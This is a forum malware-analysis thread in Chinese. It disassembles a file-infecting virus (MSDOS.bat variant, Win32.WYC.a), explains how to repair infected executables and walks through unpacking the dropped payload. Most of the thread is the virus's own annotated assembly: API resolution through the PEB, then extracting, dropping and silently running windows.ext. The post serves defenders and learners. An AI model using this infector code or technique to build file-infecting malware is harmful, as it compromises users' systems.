瑞星卡卡安全论坛技术交流区可疑文件交流 感染型病毒不完全分析实例(MSDOS.bat新变种)

1   1  /  1  页   跳转

感染型病毒不完全分析实例(MSDOS.bat新变种)

点击关闭鉴定图章

感染型病毒不完全分析实例(MSDOS.bat新变种)

样本来源:http://bbs.ikaka.com/showtopic-8501049.aspx
性质:感染型病毒,MSDOS.bat变种,但是其中的病毒主体加了一个壳。
工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC
分析内容:被感染文件中病毒代码分析、病毒主体文件所加壳的脱壳过程。

一、被感染文件中病毒代码分析
被感染文件最后的一个区段被改名为.WYCao段,在后面加入病毒代码内容,改入口点指向此段中。以下为IDA中的反汇编结果,我已经尽量注释清楚。

(1)从PEB得到kernel32.dll基址,遍历其输出表,得到GetProcAddress和LoadLibraryA两个API函数的地址。

.WYCao:01010F10                mov    eax, large fs:30h ; PEB
.WYCao:01010F16                nop
.WYCao:01010F17                nop
.WYCao:01010F18                nop
.WYCao:01010F19                nop
.WYCao:01010F1A                mov    eax, [eax+0Ch]  ; PEB.Ldr(PTR _PEB_LDR_DATA)
.WYCao:01010F1D                mov    esi, [eax+1Ch]  ; Ldr->InInitializationOrderModuleList.Flink
.WYCao:01010F1D                                        ; 一个双向链表,链表该位置的Flink恰指向kernel32.dll的相应结构中
.WYCao:01010F20                lodsd
.WYCao:01010F21                mov    edi, [eax+8]    ; kernel32.dll的_PEB_LDR_DATA结构中的EntryInProgress,模块基址
.WYCao:01010F24                mov    eax, [edi+IMAGE_DOS_HEADER.e_lfanew] ; PE头偏移
.WYCao:01010F27                mov    edx, [edi+eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] ; 输出表偏移
.WYCao:01010F2B                add    edx, edi
.WYCao:01010F2D                mov    ecx, [edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames] ; 以函数名调用的函数个数
.WYCao:01010F30                mov    ebx, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames] ; 保存所有函数名的数组偏移
.WYCao:01010F33                add    ebx, edi
.WYCao:01010F35
.WYCao:01010F35 findbegin:                              ; CODE XREF: start+41j
.WYCao:01010F35                                        ; start+49j ...
.WYCao:01010F35                dec    ecx
.WYCao:01010F36                jz      short findend
.WYCao:01010F38                mov    esi, [ebx+ecx*4]
.WYCao:01010F3B                add    esi, edi
.WYCao:01010F3D                cmp    dword ptr [esi+4], 41636F72h ; 'rocA'
.WYCao:01010F44                jnz    short findnext
.WYCao:01010F46
.WYCao:01010F46 GetAddressByNumber:                    ; CODE XREF: start+52j
.WYCao:01010F46                mov    eax, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ; 保存所有函数地址偏移的数组
.WYCao:01010F49                add    eax, edi
.WYCao:01010F4B                mov    eax, [eax+ecx*4] ; 从AddressOfFunctions数组中根据当前序号值,得到API函数地址偏移
.WYCao:01010F4E                add    eax, edi
.WYCao:01010F50                push    eax
.WYCao:01010F51                jmp    short findbegin
.WYCao:01010F53 ; ---------------------------------------------------------------------------
.WYCao:01010F53
.WYCao:01010F53 findnext:                              ; CODE XREF: start+34j
.WYCao:01010F53                cmp    dword ptr [esi], 64616F4Ch ; 'Load'
.WYCao:01010F59                jnz    short findbegin
.WYCao:01010F5B                cmp    dword ptr [esi+8], 41797261h ; 'aryA'
.WYCao:01010F62                jz      short GetAddressByNumber
.WYCao:01010F64                jmp    short findbegin
.WYCao:01010F66 ; ---------------------------------------------------------------------------
.WYCao:01010F66
.WYCao:01010F66 findend:                                ; CODE XREF: start+26j
.WYCao:01010F66                pop    ebx            ; 遍历kernel32.dll输出表结束。此次堆栈
.WYCao:01010F66                                        ; [esp]==kernel32.dll!GetProcAddress
.WYCao:01010F66                                        ; [esp+4]==kernel32.dll!LoadLibraryA
.WYCao:01010F66                                        ;
.WYCao:01010F66                                        ; 因此,pop的结果:ebx=GetProcAddress
.WYCao:01010F67                pop    edx            ; edx=LoadLibraryA
.WYCao:01010F68                sub    esp, 48h
.WYCao:01010F6B                mov    ebp, esp
.WYCao:01010F6D                mov    [ebp+4], ebx    ; GetProcAddress
.WYCao:01010F70                mov    [ebp+8], edx    ; LoadLibraryA

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; MAXTHON 2.0)
本帖被评分 3 次
最后编辑轩辕小聪 最后编辑于 2008-05-03 04:46:59
分享到:
gototop
 

回复: 感染型病毒不完全分析实例(MSDOS.bat新变种)

(2)调用LoadLibraryA和GetProcAddress函数,得到所需的API函数的地址:


.WYCao:01010F73                push    0              ; 结束符
.WYCao:01010F75                push    6C6C642Eh      ; .dll
.WYCao:01010F7A                push    32336C65h      ; 'el32'
.WYCao:01010F7F                push    6E72656Bh      ; 'kern'
.WYCao:01010F84                mov    ecx, esp
.WYCao:01010F86                push    ecx
.WYCao:01010F87                call    dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll')
.WYCao:01010F8A                pop    ecx            ; 前面4个push,这里4个pop,保持堆栈平衡
.WYCao:01010F8B                pop    ecx
.WYCao:01010F8C                pop    ecx
.WYCao:01010F8D                pop    ecx
.WYCao:01010F8E                mov    [ebp+0Ch], eax  ; kernel32.dll基址(句柄)
.WYCao:01010F91                push    0
.WYCao:01010F93                push    4179726Fh      ; 'oryA'
.WYCao:01010F98                push    74636572h      ; 'rect'
.WYCao:01010F9D                push    69447377h      ; 'wsDi'
.WYCao:01010FA2                push    6F646E69h      ; 'indo'
.WYCao:01010FA7                push    57746547h      ; 'GetW'
.WYCao:01010FAC                mov    ecx, esp
.WYCao:01010FAE                push    ecx
.WYCao:01010FAF                push    dword ptr [ebp+0Ch] ; kernel32.dll基址
.WYCao:01010FB2                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA')
.WYCao:01010FB5                pop    ecx
.WYCao:01010FB6                pop    ecx
.WYCao:01010FB7                pop    ecx
.WYCao:01010FB8                pop    ecx
.WYCao:01010FB9                pop    ecx
.WYCao:01010FBA                pop    ecx
.WYCao:01010FBB                mov    [ebp+10h], eax  ; kernel32.dll!GetWindowsDirectoryA
.WYCao:01010FBE                push    41656Ch
.WYCao:01010FC3                push    69466574h
.WYCao:01010FC8                push    61657243h
.WYCao:01010FCD                mov    ecx, esp
.WYCao:01010FCF                push    ecx
.WYCao:01010FD0                push    dword ptr [ebp+0Ch]
.WYCao:01010FD3                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA')
.WYCao:01010FD6                pop    ecx
.WYCao:01010FD7                pop    ecx
.WYCao:01010FD8                pop    ecx
.WYCao:01010FD9                mov    [ebp+14h], eax  ; kernel32.dll!CreateFileA
.WYCao:01010FDC                push    656C64h
.WYCao:01010FE1                push    6E614865h
.WYCao:01010FE6                push    736F6C43h
.WYCao:01010FEB                mov    ecx, esp
.WYCao:01010FED                push    ecx
.WYCao:01010FEE                push    dword ptr [ebp+0Ch]
.WYCao:01010FF1                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle')
.WYCao:01010FF4                pop    ecx
.WYCao:01010FF5                pop    ecx
.WYCao:01010FF6                pop    ecx
.WYCao:01010FF7                mov    [ebp+18h], eax  ; kernel32.dll!CloseHandle
.WYCao:01010FFA                push    0
.WYCao:01010FFC                push    656C6946h
.WYCao:01011001                push    64616552h
.WYCao:01011006                mov    ecx, esp
.WYCao:01011008                push    ecx
.WYCao:01011009                push    dword ptr [ebp+0Ch]
.WYCao:0101100C                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'ReadFile')
.WYCao:0101100F                pop    ecx
.WYCao:01011010                pop    ecx
.WYCao:01011011                pop    ecx
.WYCao:01011012                mov    [ebp+1Ch], eax  ; kernel32.dll!ReadFile
.WYCao:01011015                push    65h
.WYCao:01011017                push    6C694665h
.WYCao:0101101C                push    74697257h
.WYCao:01011021                mov    ecx, esp
.WYCao:01011023                push    ecx
.WYCao:01011024                push    dword ptr [ebp+0Ch]
.WYCao:01011027                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'WriteFile')
.WYCao:0101102A                pop    ecx
.WYCao:0101102B                pop    ecx
.WYCao:0101102C                pop    ecx
.WYCao:0101102D                mov    [ebp+20h], eax
.WYCao:01011030                push    7265h
.WYCao:01011035                push    746E696Fh
.WYCao:0101103A                push    50656C69h
.WYCao:0101103F                push    46746553h
.WYCao:01011044                mov    ecx, esp
.WYCao:01011046                push    ecx
.WYCao:01011047                push    dword ptr [ebp+0Ch]
.WYCao:0101104A                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'SetFilePointer')
.WYCao:0101104D                pop    ecx
.WYCao:0101104E                pop    ecx
.WYCao:0101104F                pop    ecx
.WYCao:01011050                pop    ecx
.WYCao:01011051                mov    [ebp+24h], eax  ; kernel32.dll!SetFilePointer
.WYCao:01011054                push    636F6Ch
.WYCao:01011059                push    6C416C61h
.WYCao:0101105E                push    626F6C47h
.WYCao:01011063                mov    ecx, esp
.WYCao:01011065                push    ecx
.WYCao:01011066                push    dword ptr [ebp+0Ch]
.WYCao:01011069                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GlobalAlloc')
.WYCao:0101106C                pop    ecx
.WYCao:0101106D                pop    ecx
.WYCao:0101106E                pop    ecx
.WYCao:0101106F                mov    [ebp+28h], eax  ; kernel32.dll!GlobalAlloc
.WYCao:01011072                push    6565h
.WYCao:01011077                push    72466C61h
.WYCao:0101107C                push    626F6C47h
.WYCao:01011081                mov    ecx, esp
.WYCao:01011083                push    ecx
.WYCao:01011084                push    dword ptr [ebp+0Ch]
.WYCao:01011087                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GlobalFree')
.WYCao:0101108A                pop    ecx
.WYCao:0101108B                pop    ecx
.WYCao:0101108C                pop    ecx
.WYCao:0101108D                mov    [ebp+2Ch], eax  ; kernel32.dll!GlobalFree
.WYCao:01011090                push    4165h
.WYCao:01011095                push    6D614E65h
.WYCao:0101109A                push    6C694665h
.WYCao:0101109F                push    6C75646Fh
.WYCao:010110A4                push    4D746547h
.WYCao:010110A9                mov    ecx, esp
.WYCao:010110AB                push    ecx
.WYCao:010110AC                push    dword ptr [ebp+0Ch]
.WYCao:010110AF                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetModuleFileNameA')
.WYCao:010110B2                pop    ecx
.WYCao:010110B3                pop    ecx
.WYCao:010110B4                pop    ecx
.WYCao:010110B5                pop    ecx
.WYCao:010110B6                pop    ecx
.WYCao:010110B7                mov    [ebp+30h], eax  ; kernel32.dll!GetModuleFileNameA
.WYCao:010110BA                push    636578h
.WYCao:010110BF                push    456E6957h
.WYCao:010110C4                mov    ecx, esp
.WYCao:010110C6                push    ecx
.WYCao:010110C7                push    dword ptr [ebp+0Ch]
.WYCao:010110CA                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'WinExec')
.WYCao:010110CD                pop    ecx
.WYCao:010110CE                pop    ecx
.WYCao:010110CF                mov    [ebp+34h], eax  ; kernel32.dll!WinExec
.WYCao:010110D2                push    0
.WYCao:010110D4                push    41746163h
.WYCao:010110D9                push    7274736Ch
.WYCao:010110DE                mov    ecx, esp
.WYCao:010110E0                push    ecx
.WYCao:010110E1                push    dword ptr [ebp+0Ch]
.WYCao:010110E4                call    dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'lstrcatA')
.WYCao:010110E7                pop    ecx
.WYCao:010110E8                pop    ecx
.WYCao:010110E9                pop    ecx
.WYCao:010110EA                mov    [ebp+48h], eax  ; kernel32.dll!lstrcatA

(3)实际动作:
从自身文件中读出病毒主体的内容,写入新创建的windows.ext文件,并运行之,最后跳回原入口点。

.WYCao:010110ED                push    12Ch
.WYCao:010110F2                push    40h
.WYCao:010110F4                call    dword ptr [ebp+28h] ; GlobalAlloc(GPTR,0x12c)
.WYCao:010110F7                mov    [ebp+38h], eax  ; 申请到的内存空间首地址lpFileName
.WYCao:010110FA                push    12Ch
.WYCao:010110FF                push    dword ptr [ebp+38h]
.WYCao:01011102                push    0
.WYCao:01011104                call    dword ptr [ebp+30h] ; GetModuleFileName(0,lpFileName,0x12c)
.WYCao:01011107                push    0
.WYCao:01011109                push    80h
.WYCao:0101110E                push    3
.WYCao:01011110                push    0
.WYCao:01011112                push    1
.WYCao:01011114                push    1
.WYCao:01011116                push    dword ptr [ebp+38h]
.WYCao:01011119                call    dword ptr [ebp+14h] ; CreateFileA(lpFileName,1,FILE_SHARE_READ,NULL,OPEN_EXISTING,NORMAL,NULL)
.WYCao:0101111C                mov    [ebp+3Ch], eax  ; 自身文件句柄hfile
.WYCao:0101111F                push    0
.WYCao:01011121                push    0
.WYCao:01011123                push    0D9CEh
.WYCao:01011128                push    dword ptr [ebp+3Ch]
.WYCao:0101112B                call    dword ptr [ebp+24h] ; SetFilePointer(hfile,0xD9CE,NULL,FILE_BEGIN)
.WYCao:0101112E                push    9000h
.WYCao:01011133                push    40h
.WYCao:01011135                call    dword ptr [ebp+28h] ; GlobalAlloc(GPTR,0x9000)
.WYCao:01011138                mov    [ebp+40h], eax  ; 申请的内存空间首地址hmem
.WYCao:0101113B                lea    ecx, [ebp+44h]
.WYCao:0101113E                push    0
.WYCao:01011140                push    ecx
.WYCao:01011141                push    9000h
.WYCao:01011146                push    dword ptr [ebp+40h]
.WYCao:01011149                push    dword ptr [ebp+3Ch]
.WYCao:0101114C                call    dword ptr [ebp+1Ch] ; ReadFile(hfile,hmem,0x9000,ebp+44,0)
.WYCao:0101114C                                        ; 将自身文件自0xD9CE开头始的0x9000处的内容(即病毒主体内容)读入内存
.WYCao:0101114F                push    dword ptr [ebp+3Ch]
.WYCao:01011152                call    dword ptr [ebp+18h] ; CloseHandle(hfile)
.WYCao:01011155                push    12Ch
.WYCao:0101115A                push    dword ptr [ebp+38h]
.WYCao:0101115D                call    dword ptr [ebp+10h] ; GetWindowsDirectoryA(lpFileName,0x12c)
.WYCao:0101115D                                        ; 得到系统WINDOWS文件夹路径
.WYCao:01011160                push    0
.WYCao:01011162                push    7478652Eh
.WYCao:01011167                push    73776F64h
.WYCao:0101116C                push    6E69775Ch
.WYCao:01011171                mov    ecx, esp
.WYCao:01011173                push    ecx
.WYCao:01011174                push    dword ptr [ebp+38h]
.WYCao:01011177                call    dword ptr [ebp+48h] ; lstrcat(lpFileName,'\windows.ext')
.WYCao:01011177                                        ; 在得到的路径后面加入'\windows.ext'
.WYCao:0101117A                pop    ecx
.WYCao:0101117B                pop    ecx
.WYCao:0101117C                pop    ecx
.WYCao:0101117D                pop    ecx
.WYCao:0101117E                push    0
.WYCao:01011180                push    80h
.WYCao:01011185                push    2
.WYCao:01011187                push    0
.WYCao:01011189                push    2
.WYCao:0101118B                push    2
.WYCao:0101118D                push    dword ptr [ebp+38h]
.WYCao:01011190                call    dword ptr [ebp+14h] ; CreateFileA(lpFileName,2,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NORMAL,NULL)
.WYCao:01011190                                        ; 此时lpFileName为'C:\WINDOWS\windows.ext'
.WYCao:01011190                                        ; 创建文件
.WYCao:01011193                mov    [ebp+3Ch], eax  ; hfile(此时为windows.ext的句柄)
.WYCao:01011196                lea    ecx, [ebp+44h]
.WYCao:01011199                push    0
.WYCao:0101119B                push    ecx
.WYCao:0101119C                push    9000h
.WYCao:010111A1                push    dword ptr [ebp+40h]
.WYCao:010111A4                push    dword ptr [ebp+3Ch]
.WYCao:010111A7                call    dword ptr [ebp+20h] ; WriteFile(hfile,hmem,0x9000,ebp+44,0)
.WYCao:010111AA                push    dword ptr [ebp+3Ch]
.WYCao:010111AD                call    dword ptr [ebp+18h] ; CloseHandle(hfile)
.WYCao:010111B0                push    5
.WYCao:010111B2                push    dword ptr [ebp+38h]
.WYCao:010111B5                call    dword ptr [ebp+34h] ; WinExec(lpFileName,SW_HIDE)
.WYCao:010111B5                                        ; 运行被写入的windows.ext,隐藏程序窗口
.WYCao:010111B8                push    dword ptr [ebp+38h]
.WYCao:010111BB                call    dword ptr [ebp+2Ch] ; GlobalFree(lpFileName)
.WYCao:010111BE                push    dword ptr [ebp+40h]
.WYCao:010111C1                call    dword ptr [ebp+2Ch] ; GlobalFree(hmem)
.WYCao:010111C4                add    esp, 48h        ; 平栈
.WYCao:010111C7                mov    ecx, offset sub_1005438 ; 原程序入口点
.WYCao:010111CC                jmp    ecx            ; 跳入原程序入口点
gototop
 

回复: 感染型病毒不完全分析实例(MSDOS.bat新变种)

二、被感染文件修复方法:

从病毒代码跳到原入口点的代码入手:

.WYCao:010111C7                mov    ecx, offset sub_1005438 ; 原程序入口点
.WYCao:010111CC                jmp    ecx            ; 跳入原程序入口点

显然,程序入口点的位置就在01005438处,其中01000000为基址,00005438为入口点偏移。

这个病毒修复起来的问题是,它不是在原PE文件后面添加一个段,而是把最后一个区段改名为.WYCAO,并增大其体积,在后面写入内容。

实际上,最后一个区段原始的段名已经不可恢复(除非事先知道)。所以BS一下病毒作者……

将文件最后的0x10000字节去掉
.WYCAO段的VSize和RSize各减去0x10000
IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage-0x10000
IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint=0x00005438
另外针对这个软件,还有CheckSum,校验和需要修正,可以调用imagehlp!CheckSumMappedFile()来修正。

瑞星目前已可修复被感染文件,病毒名Win32.WYC.a。当然,瑞星也没有把最后一个区段的名字改回来。虽然就这个文件而言,我猜原本最后一个段是资源段,所以应该是.rsrc,但是一般地来说,由于被感染文件中没有保留原始段名的信息,原始的段名可以说是不能直接恢复了。
最后编辑轩辕小聪 最后编辑于 2008-05-03 04:56:23
gototop
 

回复: 感染型病毒不完全分析实例(MSDOS.bat新变种)

三、病毒主体windows.ext部分脱壳

windows.ext脱壳后证实,的确是MSDOS.bat的变种,之前已被baohe等分析过,因此其行为不用再多说。

但是这一次,windows.ext加的壳比以前不同,所以下面说一下如何脱壳。

我的PEID版本可能过老,查壳结果:MPEG Layer II/III music file *

所以我是手脱的。

工具:OllyDbg(看雪版OllyICE),LordPE,ImportREC

(1)PE文件格式检查

用LordPE查看windows.ext(已改后缀为.exe)输入表
发现只有kernel32.dll的LoadLibraryA、GetProcAddress、VirtualAlloc、VirtualFree四个API
显然,它需要利用LoadLibraryA、GetProcAddress来填充原来的IAT。

(2)OD载入,尝试脱壳

13151000 >- E9 E0500F00    jmp    132460E5

132460E5    B8 F7600F00    mov    eax, 0F60F7
132460EA    BA 00001513    mov    edx, 13150000                    ; ASCII "MZ"
132460EF    03C2            add    eax, edx
132460F1    FFE0            jmp    eax

132460F7    60              pushad
132460F8    E8 00000000    call    132460FD
132460FD    5E              pop    esi
132460FE    83EE 0A        sub    esi, 0A
13246101    8B06            mov    eax, dword ptr [esi]
13246103    03C2            add    eax, edx

这个壳是一般的压缩壳。

对于壳来说,要判断这个壳的难易,要看看它有没有anti-debug的陷阱,二是有没有对IAT进行加密。

于是我尝试对LoadLibraryA和GetProcAddress下断。由于输入表中有这两个函数,说明壳代码还是需要调用这两个函数的。

而一般壳的流程,是先解密区块数据,然后再通过LoadLibraryA和GetProcAddress来填充IAT。所以在这两个函数下断,跑回来之后,就可以发现壳程序填充IAT的代码了。

对这两个函数下断,F9运行,停在LoadLibraryA处,堆栈窗口:

0012FF60  132461D9  /CALL 到 LoadLibraryA 来自 windows.132461D7
0012FF64  00481B69  \FileName = "advapi32.dll"

显然在准备填充IAT。Alt+F9回用户领空:

132461D9    8BE8            mov    ebp, eax                        ; advapi32.77DA0000

再上滚一下,就可以看到这个填充IAT的函数的整个流程了:

132461CB    55              push    ebp
132461CC    AD              lods    dword ptr [esi]
132461CD    85C0            test    eax, eax                        ; 检测原esi处是否为0
132461CF    74 37          je      short 13246208                  ; 是说明遍历dll字符的工作结束,填充IAT结束,跳出
132461D1    8BF8            mov    edi, eax
132461D3    033C24          add    edi, dword ptr [esp]
132461D6    56              push    esi                              ; dll名字符串
132461D7    FF13            call    dword ptr [ebx]                  ; LoadLibraryA
132461D9    8BE8            mov    ebp, eax                        ; dll基址
132461DB    AC              lods    byte ptr [esi]
132461DC    84C0            test    al, al
132461DE  ^ 75 FB          jnz    short 132461DB                  ; 跳过这个字符串
132461E0    AD              lods    dword ptr [esi]
132461E1    85C0            test    eax, eax
132461E3  ^ 74 E7          je      short 132461CC                  ; API函数名称字符串是否完结,是则跳回去取下个dll名
132461E5    83EE 04        sub    esi, 4
132461E8    AD              lods    dword ptr [esi]
132461E9    A9 00000080    test    eax, 80000000                    ; eax>80000000,则说明是通过序号取的,否则是通过API函数名
132461EE    75 0B          jnz    short 132461FB                  ; 通过序号取的
132461F0    83EE 04        sub    esi, 4
132461F3    56              push    esi                              ; API函数名字符串
132461F4    55              push    ebp                              ; dll基址
132461F5    FF53 04        call    dword ptr [ebx+4]                ; GetProcAddress
132461F8    AB              stos    dword ptr es:[edi]              ; 相当于mov dword ptr [edi],eax;add edi,4,即把函数地址写入edi处,说明edi处就是IAT表相应位置
132461F9  ^ EB E0          jmp    short 132461DB                  ; 取下一个API函数
132461FB    25 FFFFFF7F    and    eax, 7FFFFFFF                    ; 以序号取的跳到这里,eax-80000000变成真正的序号
13246200    50              push    eax
13246201    55              push    ebp                              ; dll基址
13246202    FF53 04        call    dword ptr [ebx+4]                ; GetProcAddress
13246205    AB              stos    dword ptr es:[edi]              ; 同上
13246206  ^ EB D8          jmp    short 132461E0                  ; 取下一个API函数(由于前一个是序号,所以这里直接过4字节)
13246208    5D              pop    ebp                              ; 填充完所有IAT,跳到这里
13246209    5F              pop    edi
1324620A    C3              retn

可以看到,壳并没有对IAT加密。
从壳填充IAT的语句上看,原始IAT从13151000开始。
壳完成填充IAT后,跳到13246208处。

于是,现在禁用对LoadLibraryA和GetProcAddress的断点,在13246208处F2下断,F9运行,跑了几秒(壳填充IAT),断下了。F2取消断点,继续单步:

13246208    5D              pop    ebp                              ; 填充完所有IAT,跳到这里
13246209    5F              pop    edi
1324620A    C3              retn

这个retn是直接跳入了VirtualFree

进入VirtualFree:

7C809AE4 >  8BFF            mov    edi, edi
7C809AE6    55              push    ebp
7C809AE7    8BEC            mov    ebp, esp
7C809AE9    FF75 10        push    dword ptr [ebp+10]
7C809AEC    FF75 0C        push    dword ptr [ebp+C]
7C809AEF    FF75 08        push    dword ptr [ebp+8]
7C809AF2    6A FF          push    -1
7C809AF4    E8 09000000    call    VirtualFreeEx
7C809AF9    5D              pop    ebp
7C809AFA    C2 0C00        retn    0C

释放掉之前申请的内存。

在这里转了三圈(连续free掉3块内存)后,又跳回开头位置:

132460E4    61              popad
132460E5    B8 604D0000    mov    eax, 4D60
132460EA    BA 00001513    mov    edx, 13150000                    ; ASCII "MZ"
132460EF    03C2            add    eax, edx
132460F1    FFE0            jmp    eax                              ; 跳入OEP,13154D60

这里就到了OEP:

13154D60    B8 782F0000    mov    eax, 2F78
13154D65    E8 76070000    call    131554E0
13154D6A    8D4424 00      lea    eax, dword ptr [esp]
13154D6E    56              push    esi
13154D6F    50              push    eax
13154D70    68 3F000F00    push    0F003F
13154D75    6A 00          push    0
13154D77    68 0C151513    push    1315150C                        ; ASCII "SYSTEM\CurrentControlSet\Services\BITS"
13154D7C    68 02000080    push    80000002
13154D81    FF15 08101513  call    dword ptr [13151008]            ; advapi32.RegOpenKeyExA

用LordPE把windows.exe的映像文件完整转存,然后使用ImportREC修复IAT(直接填入入口点偏移4D60,AutoSearch即可找到原始IAT,Get Imports后直接fix dump)


(3)快速脱壳1:ESP定律

当看到壳前面有pushad,最后有popad,而且这个壳在整个过程中又“顺风顺水”,既没有anti-debug,也没有加密IAT,说明是一个一般压缩壳。
对照pushad前和popad后的ESP指针,发现是一致的。
说明我们可以用ESP定律快速脱。

重新载入(之前的LoadLibraryA和GetProcAddress函数断点如果没有禁用,禁用之),单步到这里:

132460F7    60              pushad                                  ; esp突变,下硬件断点
132460F8    E8 00000000    call    132460FD

pushad后,ESP突变,记下ESP值(我这里为0012FFA4),命令行hr下硬件断点。
然后直接F9!

你会发现又回来这个界面了,这次停在最上面:

132460E5    B8 604D0000    mov    eax, 4D60
132460EA    BA 00001513    mov    edx, 13150000                    ; ASCII "MZ"
132460EF    03C2            add    eax, edx
132460F1    FFE0            jmp    eax                              ; 跳入OEP,13154D60

就这样就到OEP了。

(4)快速脱壳2:直接F4

通过(3),你可能发现了,其实壳程序最后还是从最初这个地方进入OEP。
只不过,最初这个位置上:

132460E5    B8 F7600F00    mov    eax, 0F60F7

而最后被壳程序修改成了:

132460E5    B8 604D0000    mov    eax, 4D60


所以这下简单了:

重新载入(注意取消(3)时设置的硬件断点)

与(3)一样,在到这里:

132460F7    60              pushad                                  ; esp突变,下硬件断点
132460F8    E8 00000000    call    132460FD

直接上翻看到

132460F1    FFE0            jmp    eax                              ; 跳入OEP,13154D60

在这里直接F4一下!停在这里了,F8,到OEP了。


脱壳后证实这个病毒主体是MSDOS.bat变种,因此不再仔细分析了。

写这个帖子,目的是为了让大家了解对感染型病毒进行处理的全过程,其中涉及了脱壳、反汇编的内容,希望对大家的学习提高有帮助。
最后编辑轩辕小聪 最后编辑于 2008-05-03 04:33:47
gototop
 

回复: 感染型病毒不完全分析实例(MSDOS.bat新变种)

附件windows.rar,密码virus,文件列表:

windows.exe:原始windows.ext
windows_u.exe:跑到OEP后,由LordPE转存下来的映像文件
windows_u_.exe:ImportREC修复windows_u.exe得到的最终文件(未经其他优化处理)

附件附件:

您所在的用户组无法下载或查看附件

gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT